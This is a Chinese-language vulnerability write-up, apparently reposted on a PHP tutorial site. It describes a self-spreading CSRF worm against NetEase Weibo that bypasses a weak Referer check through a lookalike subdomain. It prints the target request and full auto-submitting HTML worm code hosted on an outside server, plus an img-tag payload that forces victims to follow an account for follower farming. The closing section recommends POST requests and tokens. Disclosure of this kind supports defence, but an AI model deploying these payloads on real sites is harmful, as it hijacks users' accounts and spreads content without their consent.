网站地图    收藏   

主页 > 后端 > 网站安全 >

我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 1.既然是CSRF蠕虫,肯定是发微博的地方出了问题!接口在这里:POST http://t.163.com/share/retweet HTTP/1.1Host: t.163.comProxy-Connection: keep-aliveContent-Length: 439Origin: http://t.163.comUs......

1.既然是CSRF蠕虫,肯定是发微博的地方出了问题!接口在这里:
 
POST http://t.163.com/share/retweet HTTP/1.1
Host: t.163.com
Proxy-Connection: keep-alive
Content-Length: 439
Origin: http://t.163.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: 略
 
status=%E6%AC%A7%E8%81%94%E5%B0%8F%E7%BB%84%E6%9C%AB%E8%BD%AE%E6%AC%A1%E6%97%A5%E7%BB%BC%E8%BF%B0%3A32%E5%BC%BA%E4%BA%A7%E7%94%9F+%E7%83%AD%E5%88%BA%E5%A4%A7%E8%83%9C%E5%87%BA%E5%B1%80http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&in_reply_to_status_id=&source=%E7%BD%91%E6%98%93%E4%BD%93%E8%82%B2&link=http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&imageUrl=&method=click&keyfrom=share163.share
 
2.上述链接即为发微博的另一个接口(实际上应该是转发微博),简单说下参数,status参数即为发布的微博内容,这里是必填项,我可以把csrf蠕虫的载体做为链接发在这里,欺骗用户点击!参数in_reply_to_status_id默认不填,source选填项,表示微博从哪里转发过来的,link不知,不填也木关系,method和keyfrom默认即可!
 
3.这里实际上是做referer判断的,即referer必须为163.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过长时间的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有163.com,而不是验证根域名为163.com。那么我这里可以构造子域名t.163.com.test.av作为蠕虫传播的载体服务器,即可绕过。 
漏洞证明:4.非常感谢@xsjswt提供的子域名,我的POC在下面这个链接:
http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html
一并将代码拷贝如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<form id="fxx" name="fxx" action="http://t.163.com/share/retweet" method="POST">
<input type="text" name="status" value="缘深缘浅,路长路短,看见就好...http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html" />
<input type="text" name="in_reply_to_status_id" value="" />
<input type="text" name="source" value="风萧萧兮易水寒" />
<input type="text" name="link" value="http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html" />
<input type="text" name="imageUrl" value="" />
<input type="text" name="method" value="click" />
<input type="text" name="keyfrom" value="share163.share" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
 
5.Chrome登录风萧萧吸的微博账号发布微博如下:
 
 
6.Firefox登录另一个网易微博账号:
 
7.受害者点击上述短链接,服务器访问如下:
8.再查看主页面,发布了一条同样的微博哦:
 

 
修复方案:

1.其实中间遇到了不少问题,referer为空可以绕过防御,所以方便了本地测试。但是原数据包纹风不动的提交可以正常发布微博的,但是放在POC里,本地提交总是返回【var updatestatus = 400】。后来才知道是编码的问题,服务器端只认UTF-8。
 
2.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!
 
3.既然上面的蠕虫已经实现,刷粉丝就可以更容易了,在POC里加如下代码可点击即关注:
<img src=http://t.163.com/share/follow?followfrom=op.wz.gfo&keyfrom=op.wz.gfo&sitechannel=no&method=follow&screenName=【微博ID】/>
 
4.在防御方面,强烈建议:
关键请求还是改成post比较好!
关键请求还是加token比较好!
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论